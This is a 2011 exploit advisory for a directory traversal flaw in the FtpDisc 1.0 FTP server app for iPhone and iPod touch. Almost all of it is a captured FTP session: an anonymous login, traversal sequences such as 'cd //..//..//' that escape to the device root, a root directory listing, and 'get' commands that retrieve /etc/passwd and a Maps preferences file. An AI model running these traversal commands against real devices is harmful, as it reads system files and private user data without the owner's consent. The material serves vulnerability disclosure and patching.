FtpDisc 1.0 Directory Traversal

`# Exploit Title: FtpDisc v1.0 for iPhone / iPod touch, Directory Traversal  
# Date: 02/22/2011  
# Author: R3d@l3rt, Sp@2K, Sunlight  
# Software Link: http://itunes.apple.com/kr/app/ftpdisc-lite-pdf-reader/id329157971?mt=8  
# Version: 1.0  
# Tested on: iPhone, iPod 3GS with 4.2.1 firmware   
  
# There is directory traversal vulnerability in the FtpDisc.   
# Exploit Testing  
  
C:\>ftp  
ftp> open 192.168.0.70 2121  
Connected to 192.168.0.70.  
220 Mocha FTP Server  
User (192.168.0.70:(none)): anonymous  
331 Guest login ok, send your complete e-mail address as password.  
Password:  
230 Guest login ok  
ftp> dir  
200 PORT command successful.  
150 Opening ASCII mode data connection for /bin/ls  
drwxrwxrwx 1 nobody nobody 68 Jan 3 17:14 documents  
drwxrwxrwx 1 nobody nobody 68 Jan 3 17:14 other  
drwxrwxrwx 1 nobody nobody 68 Jan 3 17:14 photos  
drwxrwxrwx 1 nobody nobody 68 Jan 3 17:14 video  
226 Transfer completed  
ftp: 277 bytes received in 0.00Seconds 277000.00Kbytes/sec.  
ftp> cd //..//..//..//..//..//..//  
250 CWD command successful.  
ftp> dir  
200 PORT command successful.  
150 Opening ASCII mode data connection for /bin/ls  
-r-xr-xr-x 1 nobody nobody 0 Aug 3 201012:41 .file  
dr-xr-xr-x 1 nobody nobody 1428 Feb 8 12:50 Applications  
dr-xr-xr-x 1 nobody nobody 68 Aug 19 2010 4:10 Developer  
dr-xr-xr-x 1 nobody nobody 884 Jan 12 12:53 Library  
dr-xr-xr-x 1 nobody nobody 102 Aug 19 2010 4:18 System  
dr-xr-xr-x 1 nobody nobody 306 Feb 8 11:48 User  
dr-xr-xr-x 1 nobody nobody 2074 Jan 13 9:52 bin  
dr-xr-xr-x 1 nobody nobody 68 Oct 26 2010 1:19 boot  
-r-xr-xr-x 1 nobody nobody 638 Jan 25 15:30 control  
dr-xr-xr-x 1 nobody nobody 68 Aug 3 201012:41 cores  
1 nobody nobody 68 1 dev  
dr-xr-xr-x 1 nobody nobody 918 Jan 26 11:34 etc  
dr-xr-xr-x 1 nobody nobody 68 Oct 26 2010 1:19 lib  
dr-xr-xr-x 1 nobody nobody 68 Oct 26 2010 1:19 mnt  
dr-xr-xr-x 1 nobody nobody 136 Oct 23 201015:12 private  
dr-xr-xr-x 1 nobody nobody 1666 Jan 13 9:52 sbin  
drwxrwxrwx 1 nobody nobody 272 Feb 22 16:02 tmp  
dr-xr-xr-x 1 nobody nobody 374 Jan 13 9:52 usr  
dr-xr-xr-x 1 nobody nobody 1088 Oct 26 2010 1:19 var  
226 Transfer completed  
ftp: 1461 bytes received in 0.02Seconds 91.31Kbytes/sec.  
ftp> get ../../../../../../etc/passwd  
200 PORT command successful.  
550 cannot find the file  
ftp> get /../../../../../../etc/passwd  
200 PORT command successful.  
150 Opening ASCII mode data connection for /../../../../../../etc/passwd  
226 Transfer completed  
ftp: 785 bytes received in 0.00Seconds 785000.00Kbytes/sec.  
ftp> get //..//..//..//..//..//..//private/var/mobile/Library/Preferences/com.apple.Maps.plist  
200 PORT command successful.  
`